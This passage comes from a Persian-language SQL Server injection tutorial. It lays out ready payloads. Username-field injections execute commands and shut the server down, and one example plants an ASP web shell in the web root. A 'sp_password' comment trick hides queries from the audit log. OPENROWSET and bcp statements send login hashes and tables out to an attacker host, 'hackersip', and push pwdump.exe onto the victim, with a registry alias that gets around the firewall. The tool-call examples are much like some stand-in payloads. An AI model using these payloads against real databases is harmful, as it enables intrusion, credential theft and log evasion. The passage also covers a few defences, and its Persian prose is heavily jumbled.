create table foo( line varchar(8000) )  
 

 :مانند زیر. به کار برد کردن اطلاعات از یک فایل، insert را برای bulk insertیک دستور و سپس 
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'  

 
برداشـت و   union’ select‘یـا بـه وسـیله    یله هـر یـک از تکنیـک هـای پیـام خطـای بـالا،        آن وقت اطلاعات می توانند بـه وس ـ 

Retrieveکه در .  شوندunion select ترکیب اطلاعات در ، حالتtext file     دی بـه وسـیله   با اطلاعات کـه بـه صـورت عـاapplication 
 مربوط بـه اسـکریپت هـای ذخیـره شـده در بانـک       Source Codeاین حالت برای به دست آوردن  .برگشت داده می شوند، وجود دارد

 . مفید می باشدASP مربوط به اسکریپت های Sourceیا حتی اطلاعاتی سرور 
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 Bulk Copy Program یا BCP به وسیله Text Fileایجاد 
ایجـاد   ’bulk insert‘ بـه  ’oppsite‘ های دلخواه را بـه وسـیله تکنیـک    text fileن کار به طور مساعدانه ای راحت است که ای

 . نیاز داردBulk Copy Program یا BCP به نام command lineاین کار یک ابزار متاسفانه . کنیم
 بـه .  احتیـاج خواهـد داشـت   LOGINدسترسی دارد، به یک  به بانک اطلاعاتی SQL Server، از خارج پروسه bcpتا زمانی که 

 سود ببرد و سـرور نیـز        integratedاز حالت امنیتی    نفوذگر می تواند چیزی ایجاد کند یا        زمانی که   دست آوردن این کار در حالت عادی        
 : مانند زیر می باشدCommand Lineقالب . کار سختی نیستبرای استفاده از آن پیکربندی شده باشد، 

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar  
 

 همـان  P هسـت و پـارامتر   User Name، همـان  Uسرور است کـه در کـدام حالـت گـزارش را اجـرا کنـد، پـارامتر         Sپارامتر 
Password می باشد که در این مثال foobarمی باشد . 

 

 SQL Serverدر ) ActiveX Automation( اتوماتیک ActiveXسکریپت های ا
 ActiveXاجـازه ایجـاد اسـکریپت هـای     عرضه شده اننـد کـه    Built-It های Extended Stored Proceduresبعضی از 

Automation را در SQL Serverرا در محتویـات  از لحاظ وظیفه به میـزان اسـکریپت هـای در حـال اج ـ    این اسکریپت ها .  می دهند
Windows Scripting Host یا ،ASP Scriptآنها معمولا در . ها می باشد VB Scripts یا Java Script   نوشته می شـوند و شـی 

 .  ایجاد می کنند و با آنها متقابل اثر می کنندAutomationی ) object(ها 
 ASP Scriptهر کاری را که یک  می تواند  به این روش،Transact-SQLنوشته شده در  Automationریپت ـــیک اسک

 :تعدادی مثال در زیر به منظور توضیح اهداف ارائه داده شده است . انجام آن بر می آید، انجام دهداز قدرت WSH Scriptیا 
 

یگـر نیـز    البته می تواند هر دستوری د      ( استفاده می کند   NotePad برای ایجاد یک نمونه از       ’wscript.shell‘این مثال از شی      -1
 ):باشد

-- wscript.shell example  
declare @o int  
exec sp_oacreate 'wscript.shell', @o out  
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'  
 

 ):می آیندتوجه کنید که همه ی آینها در یک خط ( زیر انجام شود User Nameمعین کردن به وسیله این کار در مثال ما، می تواند 
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 
'notepad.exe'-- 
 

 : برای خواندن یک فایل شناخته شده استفاده می کند’scripting.filesystemobject‘این مثال از شی  -2
-- scripting.filesystemobject example - read a known file  
declare @o int, @f int, @t int, @ret int  
declare @line varchar(8000)  
exec sp_oacreate 'scripting.filesystemobject', @o out  
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1  
exec @ret = sp_oamethod @f, 'readline', @line out  
while( @ret = 0 )  
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begin  
print @line  
exec @ret = sp_oamethod @f, 'readline', @line out  
end  
 

 شـود، اجـرا   Passبـه آن  ) QueryString(در رشته گزارش هر دستوری را که  ایجاد می کند که     ASPاین مثال یک اسکریپت      -3
 :می کند

-- scripting.filesystemobject example - create a 'run this' .asp file  
declare @o int, @f int, @t int, @ret int  
exec sp_oacreate 'scripting.filesystemobject', @o out  
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1  
exec @ret = sp_oamethod @f, 'writeline', NULL,  
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'  

 
بـه وسـیله   بیرون فرسـتاده شـده   دستورات  اجرا می شود، IIS4 یا Windows NT4که هنگامی که در یک  داشته باشید حتما به یاد
یـا  آنها به عنوان یک اکانت حـدپائین  ، IIS5در اما  . اجرا می شوندSystem Account یا Systemبه عنوان اکانت  ،ASPاین اسکریپت 

Low-Privileged به صورت IWAM_xxx ی شونداجرا م. 
 

کـه از شـی   . یری تکنیک را شرح مـی دهـد     پذطاف  ــــــت و انع  ــــــقابلی) ی و دستکاری شده است    ـــــــمقداری جعل (این مثال    -4
speech.voicetext استفاده می کند که سبب می شود SQL Serverبه صحبت و گفت و گو مجبور شود ) !!!(:  

declare @o int, @ret int  
exec sp_oacreate 'speech.voicetext', @o out  
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'  
exec sp_oasetproperty @o, 'speed', 150  
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528  
waitfor delay '00:00:05'  

 
این مثال تنهـا  به خاطر داشته باشید که ( زیر انجام شود User Nameچنین می تواند به وسیله استفاده از این کار در مثال ما هم

 ): می شودlog in نیز Admin به عنوان application نمی کند، بلکه همزمان به Injectionیک اسکریپت را 
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod 
@o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', 
NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--  

 

 Stored Proceduresرویه های ذخیره شده یا 
 ها در بانک اطلاعاتی استفاده کند، Stored Procedure از ASP Applicationمتذکر می شود که اگر یک !!) (دانش اجدادی 

 ASP ها از Stored Procedureبه وضعیتی که مصداق ندارد و % 100این گفته همیشه و .  ممکن نخواهد بودSQL Injectionعملیات 

Script   در اصل، اگر یک گزارش پارامتری شده         .، بستگی دارد  می شوند  فراخوانی)Parameterised (    ،و پارامترهـای    اجرا شـودUser-

Supplied  با امنیت به گزارش عبور داده شوند)passدر این هنگام ، ) شوندSQL Injection    در حالت عادی غیـر ممکـن خواهـد بـود  .
 یک گزارش که در حال اجرا است، اعمـال کنـد،   )None-Data Parts(اطلاعاتی بتواند هر اثری را روی بخش غیر هر چند، اگر نفوذگر 

 :قواعد کلی به صورت زیر می باشند .آنوقت خواهد توانست بانک اطلاعاتی را کنترل کند
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 SQL شـده اسـت، در برابـر    Submitبـه سـمت سـرور     ایجـادمی کنـد کـه    SQL Query String، یـک  ASPاگر اسکریپت  •

Injectionیر خواهد بود، حتی اگر از  آسیب پذStored Procedureها استفاده کند . 

 Stored هـای پارامترهـا را بـه    Assignmentاستفاده کنـد کـه   ) Procedure Object(شی رویه از یک ، ASPاگر اسکریپت  •

Procedure ،از قبیل ( پنهان کندADO Command Objec ت کلی امـن  به صورآن وقت، ) استفاده شده با مجموعه پارامترها
 . به هر حال، این مورد بستگی به انجام و کاربرد شی داردخواهد بود، 

تن همـه ورودی هـای      معتبـر سـاخ    بهترین تمرین هنوز     تکنیک های حمله جدیدی در حال کشف است،        از زمانی که     بدیهی است که،  
 :زیر را اجرا کنید، SQLرشته ، Stored Procedureبرای توضیح نکته در تزریق گزارش  .کاربر می باشد

sp_who '1' select * from sysobjects  
or  
sp_who '1'; select * from sysobjects  

 . هنوز اجرا می شودStored Proceudreدر هر دو حال، گزارش اضافه شده بعد از 

 
  به صورتی پیشرفته ترSQL Injectionانجام عملیات 

را ) و بقیـه  (single quoteکاراکترهـای   WEB Applicationسـت کـه یـک    شـاید بـه آن برخـورد کنـیم ایـن ا     اغلب موردی 
Escape  اطلاعات که به وسیله کاربر      در غیر این صورت      و    می کندSubmit    شده را Message      می کند، از قبیل Limit     و محدود کـردن 
 .طول آن

 کـردن بعضـی از دفاعیـات    Bypassن را در بعضی تکنیک ها را مورد بحث قرار می دهیم که می توانند نفوذگرادر این قسمت،   
 .  کمک کندSQL Injectionواضح در برابر 

 
 :Quoteرشته های بدون 

 دارنـد، امـن   single quote کردن همـه کاراکترهـایی کـه    escape را به وسیله applicationشاید یک  ها depeloperبعضی از اوقات، 
 : انجام شود یا چیزی شبیه به زیرreplace تابع  وVB Scriptاین کار شاید به وسیله . کرده باشند

function escape( input )  
input = replace(input, "'", "''")  
escape = input  
end function  

 
 نیـز  ;باید گفت که حـذف کـاراکتر   . این کار باعث اجتناب از همه نمونه مثال های حمله در سایت مورد نظر ما خواهد شد          مسلما  

چندین مقدار که کاربر برای ورودی در نظر گرفتـه      بزرگتر، مثل آن است که       Applicationدر یک   هر چند،   . یاری خواهد کرد  کمک بس 
 SQLایجاد کنند که نفوذگر می تواند       ارائه دهند و    شاید نقطه ای    و بنابراین    احتیاج ندارد،    ’delemiting‘ این مقادیر    .است، عددی باشد  

  . کندinjectرا 

 charمی تواند از تابع  داشته باشد، quotesبدون استفاده از ) String Value(تصمیم به ایجاد یک مقدار رشته ای وذگر، اگر نف
 :برای مثال. استفاده کند

insert into users values( 666,  
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),  
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),  
0xffff)  
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 هـا و رشـته هـا را بـه یـک جـدول تزریـق            Stringامـا    نیست،   Quoteعبارت فوق یک گزارش می باشد که حاوی هیچ کاراکتر           

 عددی را ندارد، جمله زیر می توانـد بـه خـوبی ایفـای نقـش      User Name & Passwordقصد استفاده از  اگر نفوذگر  البته.خواهد کرد
 :کند

insert into users values( 667,  
123,  
123,  
0xffff)  

 
تبـدیل مـی   )  کـاراکتری –رشته ای  (varcharر اعدد صحیح را به مقدبه صورت خودکار و اتوماتیک  SQL Serverتا زمانی که 

 .  غیر صریح خواهد بود،تغییر نوعکند، 
 

Second-Order SQL Injection: 
 کـردن  Injectیک نفوذگر هنوز هم قادر به ، )Escape( ها را جا بگذارد Single Quoteشه همی  Applicationحتی اگر یک 

SQL )           به همان مقداری که اطلاعات از بانک اطلاعاتی به وسیلهApplication    بـرای مثـال، یـک       . خواهـد بـود    ،) استفاده مجدد می شوند
 : شودRegister زیر Password و User Name به وسیله Application یک درنفوذگر شاید 

Username: admin'--  
Password: password  
 

 ماننـد زیـر   insertیک جمله و نتیجه اینکه ) Escape( را جا می گذارد Single Quote به درستی Applicationدر این هنگام 
 :خواهیم داشت

insert into users values( 123, 'admin''--', 'password', 0xffff )  
 کـردن رمـز عبـور    Setقبل از ، ASP Scriptکد .  به کاربران اجازه تغییر رمزعبورشان را می دهدApplicationت که باید گف

 کد شاید چیزی شبیه به زیـر  .را به درستی وارد کرده باشد) Old Password(ابتدا، اطمینان می یابد که کاربر رمزعبور قبلی خود جدید، 
 :باشد

 username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword")  
); newpassword = escape( Request.form("newpassword") );  
var rso = Server.CreateObject("ADODB.Recordset");  
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";  
rso.open( sql, cn );  
if (rso.EOF)  
{  
 

 : کردن پسوردهای جدید نیز شاید چیزی شبیه زیر باشدSetگزارش برای 
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"  

 
سـتخراج و برداشـت شـده     ا’login‘ می باشد که از گـزارش  User Name، در واقع همان rso(“username”)در توضیح باید گفت که 

 :، خط گزارش، در واقع گزارشی مانند زیر ایجاد خواهد کرد --’adminکاربر معینبا  .است
update users set password = 'password' where username = 'admin'--'  
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وط به کاربر را با مقدار مورد نظر        رمزعبور مرب ،  --’admin کردن یک کاربر با نام       registerبه وسیله   بنابراین نفوذگر می تواند،     

 های بـزرگ نیـز در تـابع بـودن از ایـن قـانون            Applicationن یک مشکل بسیار خطرناک می باشد که در بسیاری از            ای .خود تغیبر دهد  
ر نتیجـه  ین گونـه حمـلات، دفـاع بـه عمـل آورد و د          کردن چنین اطلاعات و کاراکترهایی می توان جلوی ا         escapeاصرار شده است که با      

تـا بـه   به هر حـال،   این مورد گهگاه و بیگاه می تواند مشکلاتی را رقم زند،           !!!! کردن ساده ی آن نیز بیزار می باشند          modifyحتی از یک    
 :مثل. مثلا در این مورد می توان به آپوستروف اشاره کرد. حال چندین کاراکتر که به صورت مضر کار می کنند، شناخته شده اند

X’WOFL 
 

اگر .  ها اجازه داده نشوندsingle-quoteبه هر حال کنار آمدن با این مشکل که          بهترین راه حل برای این مشکل       از دید امنیتی،    
بهتر است کـه اطمینـان حاصـل شـود کـه همـه              در این مورد،    ). escape(آنها به ناچار جا گذاشته می شوند        این مورد غیر قابل قبول باشد،       

 شـده  handled، بـه صـورت صـحیح    ) اطلاعات به دست آمده از بانک اطلاعـاتی به انضمام ( می رودSQL query stringاطلاعاتی که به 
  کنـد،  application  ،insertهمچنین اگر یک نفوذگر بتواند به طریقی اطلاعات را به سیستم بدون اسـتفاده از                حملات،  این نوع از     .باشند

 در بانـک  Error Log نیـز داشـته باشـد، یـا شـاید یـک       email interface یـک  applicationممکـن اسـت   . نیز قابل انجام خواهند بود
 همـه همیشـه بهتـرین راه بررسـی        . اطلاعاتی ذخیره شده باشد که به کمک آن نفوذگر می تواند بعضی کنترل هـا را روی آن انجـام دهـد                     

نسبتا باید  Validation Functions توابع اعتبار سازی یا .که در حال حاضر در سیستم نیز هستند، می باشداطلاعات، که شامل اطلاعاتی 
 :برای مثال .برای فراخوانی ساده باشند

if ( not isValid( "email", request.querystring("email") ) then  
response.end  
…. (or any thing else you want ☺ ) 
 

 :Length Limitsمحدودیت در طول و اندازه یا 

در حالی کـه ایـن کـار مـانع     . اطلاعات ورودی نیز به منظور سختر ساختن حملات، محدود می شوند         lengthطول یا   قع  بعضی موا 
بـرای  .  نیز وجود خواهد داشـت SQLبعضی از حملات خواهد شد، اما همچنین امکان اعمال بعضی از اعمال مضر نیز در یک دستور ساده   

 : کاراکتر در ورودی استفاده می شود12 خواهد کرد، در حالی که تنها از Shut Down را SQL Server زیر، User Nameمثال، 
Username: ';shutdown--  

 
 :به عنوان مثال دیگر می توان به خط زیر نیز توجه داشت

drop table <tablename>  
 

ات محـدود کـردن طـول یـا         عملی ـمشکل دیگر در رابطه با محدود کردن طول اطلاعـات ورودی زمـانی اتفـاق خواهـد افتـاد کـه                      
Length Limit بعد از escapeاگر .  شدن، کاراکترها انجام شودUser Name کاراکتر محدود شده باشـد و  16 به Password   نیـز بـه 

 : را که در بالا ذکر شد، اجرا کندShut Down زیر، می تواند دستور User Name/Passwordترکیب  کاراکتر محدود شده باشد، 16
Username: aaaaaaaaaaaaaaa'  
Password: '; shutdown-- 

 



 

Page 39 of 77                                                             ( SQL Injection Tutorial by Dangerous Wolf ) 

 

و در نتیجـه بـا   ارد،  جا بگذUser Name را از آخر و انتهای Single-Quote سعی می کند که Applicationدلیل آن است که 
د مربـوط بـه     فیل ـاگـر   نتیجـه دیگـر آنکـه        . کاراکتر تبـدیل خواهـد شـد       16رشته ورودی نیز به چیزی کمتر از         ها،   single-quoteحذف  

Password  با یکSingle-Quote ،می تواند شامل یک بعد از اینکه گزارش تمام شد،  شروع شودSQLمانند زیر.  باشد: 
select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown--  

 
 : در گزارش عبارت زیر می شودUser Nameبه طور موثر، 

aaaaaaaaaaaaaaa' and password='  
 

 . اجرا خواهد شدSQLدستور و به دنبال آن 
 

 :Audit Evasionانجام عملیات فریب و حیله برای بازرسی یا 

SQL Server شــامل یــک interface قــوی از auditing ) در ســری توابــع ) بازرســیsp_traceXXX اجــازه  مــی باشــد کــه
Logging   و Log    از منافع خاص در اینجا مـی تـوان   .  که در بانک اطلاعاتی روی می دهد را خواهد داد    برداری از تمامی حوادثیT-SQL 

دسـته بنـدی و    و batchو همه آنهایی را که در سرور آمـاده سـازی و اجـرا شـده انـد را                  می کند    log را   SQLتمامی جملات   را گفت، که    
 که ما دربـاره آنهـا بحـث کـردیم بـه             SQLتمامی گزارش های     باشد،   فعال auditing و   اگر این سطح از بازرسی     .مجموعه بندی می کند   

 sp_passwordمتاسفانه، اگر نفوذگر رشـته ی        .استروی داده    می شوند و معمولا یک مدیر باهوش قادر خواهد بود، که چه              logراحتی  
 :واهد کرد خlogماکانیزم مربوط به بازرسی، عبارت زیر را  قرار دهد، Transact-SQLرا در یک جمله 

-- 'sp_password' was found in the text of this event.  
-- The text has been replaced with this comment for security reasons.  

 
 ایـن مـورد، نـامزدی       . واقـع شـود    comment در یک    sp_password ها، انجام می شود، حتی اگر        T-SQLاین رفتار در تمامی     

 عبـور داده مـی شـوند، کـه در ایـن حـال       sp_password مربوط به کابران می باشد که از میان     plaintextپسوردهای  برای مخفی کردن    
 هایی یک نفوذگر انجـام      injectionبرای مخفی کردن تمامی تزریق ها و        بنابراین،   .مورد و رفتاری کاملا مفید برای یک نفوذگر می باشد         

 :مانند مثال زیر. قرار دهید '--‘کاراکترهای توضیحی ا بعد از  رsp_passwordتنها کافی است می دهد، 
Username: admin'--sp_password  

 
  !!!☺ غایب خواهد بود log به راحتی در query string خواهد شد، اما خود log که اجرا شد، SQLواقعیت آنکه 
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 Micro$oft SQL Server برای دستکاری در قی جالبرُطُ: 5بخش 
 

 SQL Injectionسیب پذیری های تشخیص آ
 دارید، نفوذگر نیاز به روشی خواهـد داشـت کـه بفهمـد آیـا      Application کردن یک SQL Injectionهنگامی که سعی بر 

SQL  تزریق شده در روی سرور اجرا و Execute شده است یا خیر و همچنین، روشی برای برداشـت و retrieve     ،کـردن نتـایج نیـز 
توابـع  .  وجود دارند، می توانند برای این منظـور بـه کـار بـرده شـوند     built-in که به صورت SQL Server دو تابع در .نیاز خواهد بود

OPENROWSET و OPENDATASOURCEر در ـــــ به یک کاربSQL Server        اجـازه مـی دهنـد کـه یـک منبـع اطلاعـاتی 
)data source ( را به صورتremoteبرای برقراری یک ارتباط با یـک ارائـه دهنـده ی   ع،ـــــــاین تواب.  باز کنند OLEDB   اسـتفاده 

 مـی توانـد در همـان نتـایج          OPENDATASOURCE در تمامی مثال ها استفاده خواهد شد اما          OPENROWSETتابع  . می شوند 
 :د  باز می گردانremote data source را روی table1مربوط به ) row(این جمله تمامی ردیف های . استفاده شود

select * from 
OPENROWSET( 'SQLoledb', 
'server=servername;uid=sa;pwd=h8ck3r', 
'select * from table1' ) 

 
 :پارامترها

 OLEDBنام ارائه دهنده -)1
 ). باشدODBC Connection String یا یک OLEDB Data Source می تواند یک - Connection String(رشته ارتباط -)2
 SQL Statement یا SQL جمله -)3
 

 بـرای  Network Library:  می توانـد دیگـر اختیـارات و گزینـه هـا را تعیـین کنـد از قبیـل        Connection Stringپارامتر 
 :در زیر یک نمونه را می بینید.  که چه کسی به آن کانکت می شودPort و IP Addressاستفاده یا 

select * from 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;', 
'select * from table' ) 
 

) SQL) SQL Statement بـرای اجـرای ایـن جملـه     OLEDB Provider SQLoledb از SQL Serverدر ایـن مثـال،   
ن بـه پـورت    بـرای وصـل شـد   SQL Server Sockets Library (DBMSSOCN) از OLEDB Provider. استفاده خواهد کرد

 و پسـورد  saیوزرنیم .  باز می گرداندLocal SQL Server را بر روی SQL استفاده می کند و نتایج این جمله 10.0.0.10 در 1433
h8ck3r  ــه ــار دادن ب ــرای اعتب ــد remote data source ب ــد ش ــتفاده خواه ــابع     .  اس ــور ت ــه چط ــد ک ــی ده ــان م ــدی نش ــال بع مث

OPENROWSETبه یـک   می تواند برای وصل شدن IP Address/Port   اختیـاری مثـل IP Address/Port    مربـوط بـه نفـوذگر 
 Microsoft SQL Server می باشد و یـک نسـخه از   hackerip مربوط به سیستم نفوذگر، host nameدر این مورد، . استفاده شود

 نفوذگررت می تواند هر پورتی باشد که  عوض شود و پوIP Address می تواند با یک hackerip.  می باشد80در حال اجرا در پورت 
 . مستقیم داشته باشد) connection(تمایل دارد با آن پورت ارتباط 

select * from 
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OPENROWSET('SQLoledb', 
'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from table') 
 

 بـا موفقیـت     SQLاگر  . ی تواند تعیین کند که آیا جمله اجرا می شود یا خیر           ، یک نفوذگر م   SQL کردن این جمله     injectionبا  
. را به سیستم نفوذگر در پورت تعیین شده، خواهد فرسـتاد ) outbound connection(اجرا شود، سرور مورد حمله یک ارتباط خارجی 

 در حال اجرا 80 روی پورت connection که  بسیار بعید خواهد بود چراoutbound SQL Connectionباید گفت که بلاک شدن این 
 error تزریق شده اجرا شده است یا خیـر حتـی اگـر نتـایج     SQLاین تکنیک به نفوذگر اجازه خواهد داد که تعیین کند آیا جمله . است

message ها و query ها به browserبازگشت داده نشود . 
 

 :SQL Injection نتایج از )Retrieve(برداشت 
 برای دست کاری SQL Server معمولا برای کشیدن اطلاعات داخل OPENDATASOURCE و OPENROWSETتابع 

ــرای    . کــردن مــی باشــد  ــد ب ــین مــی توانن ــه هــر حــال همچن ــا ب ــه یــک  pushآنه .  اســتفاده شــوندremote SQL Server کــردن ب
OPENROWSET            نه تنهـا مـی توانـد بـرای اجـرای کـردن جمـلات SELECT   مـی وانـد بـرای اجـرای جمـلات       اسـتفاده شـود، بلکـه 

UPDATE, INSERT, DELETE در external data sources   ات دسـتکاری اطلاعـات   ـــــــــــــ ـانجـام عملی .  نیـز اسـتفاده شـود
)data manipulation ( درremote data sources  کم استفاده است و فقط زمانی کار می کند کـه OLEDB Provider   ایـن عامـل را 

 externalدر زیر یک مثال از انتشار اطلاعات به یک .  تمامی این جملات را پشتیبانی می کند SQLOLEDB Provider. پشتیبانی کند

data sourceرا می بینید : 
insert into 
OPENROWSET('SQLoledb', 
'server=servername;uid=sa;pwd=h8ck3r', 
'select * from table1') 
select * from table2 
 

) append( اضـافه  remote data source در table1 بـه  Local SQL Server روی table2ل فوق، تمامی ردیف ها در در مثا
 remoteهمان طـور کـه در قبـل ذکـر شـد،      . به منظوراجرای صحیح جملات، دو جدول باید ساختاری مانند هم داشته باشند. خواهند شد

datasources        می تواند به هر سروری که attacker     ،انتخاب می کند redirect یک نفوذگر، می توانـد جملـه فـوق را بـرای وصـل              .  شود
 . در حال اجرا در ماشین نفوذگر، تغییر دهدMicrosoft SQL Server از قبیل remote datasourceشدن به یک 

 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from table1') 
select * from table2 
 

ماننـد  ) data type( را با همان ستون ها و نوع اطلاعـات  table1، نفوذگر باید table1به منظور اضافه کردن صحیح اطلاعات به 
table2  این عمل کار خواهـد  .  سیستم تعیین شوداین اطلاعات نسخت می تواند به وسیله انجام این حمله در مقابل جدول های     .  ایجاد کند

یک نفوذگر می تواند کـار را بـا ایجـاد    . به خوبی شناخته شده هستند) system tables(کرد، چرا که ساختار مربوط جدول های سیستمی 



 

Page 42 of 77                                                             ( SQL Injection Tutorial by Dangerous Wolf ) 

 

تمی، ماننـد جـدول هـای سیس ـ   ) data type(و نـوع اطلاعـاتی   ) similar column name(کردن یـک جـدول بـا نـامی مشـابه سـتون هـا        
sysdatabases, sysobjects و syscolumnsآنوقت برای برداشت .   شروع کند)retrieve(      اطلاعات حساس و مهـم، جملـه زیـر مـی 

 :تواند اجرا شود
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from _sysdatabases') 
select * from master.dbo.sysdatabases 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from _sysobjects') 
select * from user_database.dbo.sysobjects 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from _syscolumns') 
select * from user_database.dbo.syscolumns 
 

 . بسیار ناچیز خواهد بودSQL Serverبعد از ایجاد مجدد جدول ها در بانک اطلاعاتی، لود شدن اطلاعات باقیمانده از 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from table1') 
select * from database..table1 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from table2') 
select * from database..table2 
 

 طـوری طراحـی شـده     applicationبا استفاده از این روش، یک نفوذگر می تواند جزئیات یک جدول را برداشت کند حتی اگر                  
با اختصـاص سـطوح دسترسـی    . را مخفی نگه دارد) invalid query results( ها یا نتابج گزارش های نامعتبر error messageباشد که 

)privilege (        معین، نفوذگر می تواند لیست مربوط بهlogin  ها )username ( وhash های رمزهای عبور )passwords (   را به خـوبی بـه
 : دست آورد

insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from _sysxlogins') 
select * from database.dbo.sysxlogins 

 
همچنـین  .  را روی پسـوردها بـه دسـت آیـد          brute-force های رمز عبور، شاید امکان انجـام عملیـات           hashبا به دست آوردن     

 :نفوذگر می تواند دستورات را روی سرور نفوذشده اجرا کند و نتایج را به دست آورد
insert into 
OPENROWSET('SQLoledb', 
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'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 
'select * from temp_table') 
exec master.dbo.xp_cmdshell 'dir' 
 

 ها پیکربندی شده باشد، نفوذگر مـی توانـد   outbound SQL Server Connectionاگر دیوار آتش برای بلاک کردن تمامی 
 کـردن اطلاعـات بـا اسـتفاده از     pushنفوذگر می تواند آدرس را بـرای  .  به کار بردfirewallیکی از چندین تکنیک را برای گیرانداختن    

در زیر مثـالی از ایـن تکنیـک ارائـه شـده      .  به نظر خواهد آمد HTTP Connectionبنابراین، به عنوان یک.  کند set تنظیم و80پورت 
 :است

insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from table1') 
select * from table1 

 
 نیز به وسـیله دیـوارآتش بـلاک مـی شـوند، نفـوذگر مـی توانـد پـورت هـای           80 ها روی پورت outbound connectionاگر 

 . پیدا شودunblockedگوناگونی را امتحان کند تا اینکه یک پورت 
 

 کردن فایلهاآپلود 
 بـه دسـت آورد، شـاید بخواهنـد یـک فایـل       SQL SERVERهنگامی که یک نفوذگر یـک سـطح دسترسـی مناسـب را روی     

BINARY     از زمانی که، این کار به وسیله از استفاده از پروتکـل هـا ماننـد                 .  را به سرور آپلود کنندSMB         امکـان پـذیر نیسـت و نیـز از 
سیله دیوارهای آتش بلاک می شوند، نفوذگر نیاز به روشی دیگر خواهد داشت که بیناری هـا را   معمولا به وPORT 137-139زمانی که 

این کار می تواند به وسیله استفاده از آپلود کردن یـک فایـل بینـاری در یـک جـدول      .  سیستم قربانی انتقال دهدFILE SYSTEMبه 
 SQL SERVER CONNECTIONانی بـه وسـیله یـک     آنها به فایل سیسـتم قرب ـ PULLINGلوکال در سیستم نفوذگر و سپس 

 : مانند زیر ایجاد کندLOCAL SERVERبرای انجام این عملیات، نفوذگر باید یک جدول را در  .انجام شود
create table AttackerTable (data text) 
 

 :بعد از ایجاد جدول، نفوذگر می تواند بیناری ها را به جدول به صورت زیر آپلود کند
bulk insert AttackerTable 
from 'pwdump.exe' 
with (codepage='RAW') 
 

 : زیر روی سیستم قربانی انتقال یابدSQLآنوقت، بیناری می تواند از سیستم نفوذگر به سیستم قربانی به وسیله اجرای جمله 
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r' 
 

 را برای سرور نفوذگر ایجاد خواهد کرد، و سپس نتابج گزارش را در یک فایل خواهد outbound connectionاین جمله یک 
 که معمولا به وسیله دیوارآتش بـلاک خواهـد شـد،    default protocol & port به وسیله استفاده از connectionدر این مورد،  .نوشت
 :برای فریب دادن دیوارآتش، نفوذگر می تواند مورد زیر را استفاده کند. د خواهد شدایجا

exec xp_regwrite 
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','HackerSrvAlias','REG_SZ','D
BMSSOCN,hackersip,80' 

 :و سپس
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -SHackerSrvAlias -Usa -Ph8ck3r' 
 

، بـه   SQL پیکربندی خواهد کـرد و سـپس جملـه دوم            80 را با سرور نفوذگر روی پورت        connection، یک   SQLاولین جمله   
روش دیگری که نفوذگر مـی توانـد اسـتفاده    . واهد کرد کانکت می شود و فایل بیناری را دانلود خ        80سیستم نفوذگر با استفاده از پورت       

 بپـردازد و آنوقـت آن   OS File system در JavaScript Files (.js) یـا  Visual Basic Script (.vbs)کنـد، ایـن اسـت بـه نوشـتن      
 .اسکریپت ها را اجرا کند

پس فایـل هـای بینـاری سیسـتم نفـوذگر را            با استفاده از این تکنیک، اسکریپت ها می توانند به هر سروری کانکت شـوند و س ـ                 
 .دانلود کنند یا حتی اسکریپت ها روی سیستم قربانی کپی شوند و فایل را در سرور قربانی اجرا کنند

exec xp_cmdshell '"first script line" >> script.vbs' 
exec xp_cmdshell '"second script line" >> script.vbs' 
... 
exec xp_cmdshell '"last script line" >> script.vbs' 
exec xp_cmdshell 'script.vbs' -->execute script to download binary 
 

 نفوذ به شبکه داخلی
Linked & Remote Server در Microsoft SQL Server         بـه یـک سـرور اجـازه خواهـد داد کـه بـا یـک remote 

database serverارتباط برقرار کند  .Linked Servers      به شما اجازه خواهند داد کـه گـزارش هـای توزیـع شـده )Distributed 

